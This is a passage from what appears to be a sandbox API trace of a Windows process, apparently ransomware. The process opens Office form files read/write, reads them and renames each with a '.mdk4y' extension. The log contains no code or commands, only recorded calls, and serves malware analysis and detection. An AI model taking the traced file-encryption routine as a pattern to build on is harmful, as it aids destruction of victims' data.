Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.mdk4y")) returned 1 [0212.579] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.579] AreFileApisANSI () returned 1 [0212.580] GetACP () returned 0x4e4 [0212.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDRESPL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDRESPL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781000000) returned 1 [0212.580] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781100000) returned 1 [0212.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781100000) returned 1 [0212.582] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.mdk4y")) returned 1 [0212.582] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.583] AreFileApisANSI () returned 1 [0212.583] GetACP () returned 0x4e4 [0212.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDRESPS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDRESPS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.583] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781300000) returned 1 [0212.584] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781500000) returned 1 [0212.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781500000) returned 1 [0212.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.mdk4y")) returned 1 [0212.586] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.586] AreFileApisANSI () returned 1 [0212.586] GetACP () returned 0x4e4 [0212.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDRESTL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDRESTL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.586] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781600000) returned 1 [0212.586] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781700000) returned 1 [0212.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781700000) returned 1 [0212.588] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.mdk4y")) returned 1 [0212.588] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.588] AreFileApisANSI () returned 1 [0212.588] GetACP () returned 0x4e4 [0212.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDRESTS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDRESTS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.589] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828781900000) returned 1 [0212.590] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782100000) returned 1 [0212.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782100000) returned 1 [0212.591] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.mdk4y")) returned 1 [0212.592] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.592] AreFileApisANSI () returned 1 [0212.592] GetACP () returned 0x4e4 [0212.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHDCNCL.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHDCNCL.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0212.592] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782200000) returned 1 [0212.592] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x335, lpOverlapped=0x0) returned 1 [0212.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782300000) returned 1 [0212.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782300000) returned 1 [0212.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.mdk4y")) returned 1 [0212.594] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.594] AreFileApisANSI () returned 1 [0212.594] GetACP () returned 0x4e4 [0212.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHDREQ.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHDREQ.CFGG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.595] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782500000) returned 1 [0212.595] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4af, lpOverlapped=0x0) returned 1 [0212.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782600000) returned 1 [0212.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782600000) returned 1 [0212.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.mdk4y")) returned 1 [0212.597] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.597] AreFileApisANSI () returned 1 [0212.597] GetACP () returned 0x4e4 [0212.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHDRESN.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHDRESN.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0212.598] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782800000) returned 1 [0212.598] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x343, lpOverlapped=0x0) returned 1 [0212.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782900000) returned 1 [0212.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828782900000) returned 1 [0212.599] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.mdk4y")) returned 1 [0212.600] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.600] AreFileApisANSI () returned 1 [0212.600] GetACP () returned 0x4e4 [0212.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHDRESP.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHDRESP.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0212.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783100000) returned 1 [0212.601] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x341, lpOverlapped=0x0) returned 1 [0212.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783200000) returned 1 [0212.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783200000) returned 1 [0212.603] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.mdk4y")) returned 1 [0212.603] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.603] AreFileApisANSI () returned 1 [0212.603] GetACP () returned 0x4e4 [0212.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHDREST.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHDREST.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0212.603] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783400000) returned 1 [0212.604] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x348, lpOverlapped=0x0) returned 1 [0212.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783500000) returned 1 [0212.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783500000) returned 1 [0212.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.mdk4y")) returned 1 [0212.606] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.606] AreFileApisANSI () returned 1 [0212.606] GetACP () returned 0x4e4 [0212.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SECREC.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SECREC.CFGFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.606] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783700000) returned 1 [0212.607] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x298, lpOverlapped=0x0) returned 1 [0212.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783800000) returned 1 [0212.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828783800000) returned 1 [0212.608] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.mdk4y")) returned 1 [0212.610] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.610] AreFileApisANSI () returned 1 [0212.610] GetACP () returned 0x4e4 [0212.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SECRECL.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SECRECL.ICOG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.610] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828784000000) returned 1 [0212.610] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828784800000) returned 1 [0212.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828784800000) returned 1 [0212.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.mdk4y")) returned 1 [0212.620] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.620] AreFileApisANSI () returned 1 [0212.620] GetACP () returned 0x4e4 [0212.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SECRECS.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SECRECS.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828785000000) returned 1 [0212.621] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828785200000) returned 1 [0212.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828785200000) returned 1 [0212.622] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.mdk4y")) returned 1 [0212.623] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.623] AreFileApisANSI () returned 1 [0212.623] GetACP () returned 0x4e4 [0212.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SECURE.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SECURE.CFGO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.623] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828785600000) returned 1 [0212.626] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x287, lpOverlapped=0x0) returned 1 [0212.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828786900000) returned 1 [0212.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828786900000) returned 1 [0212.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.mdk4y")) returned 1 [0212.642] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.642] AreFileApisANSI () returned 1 [0212.642] GetACP () returned 0x4e4 [0212.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SECURL.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SECURL.ICO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.642] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828787200000) returned 1 [0212.643] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828787400000) returned 1 [0212.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828787400000) returned 1 [0212.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.mdk4y")) returned 1 [0212.646] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: 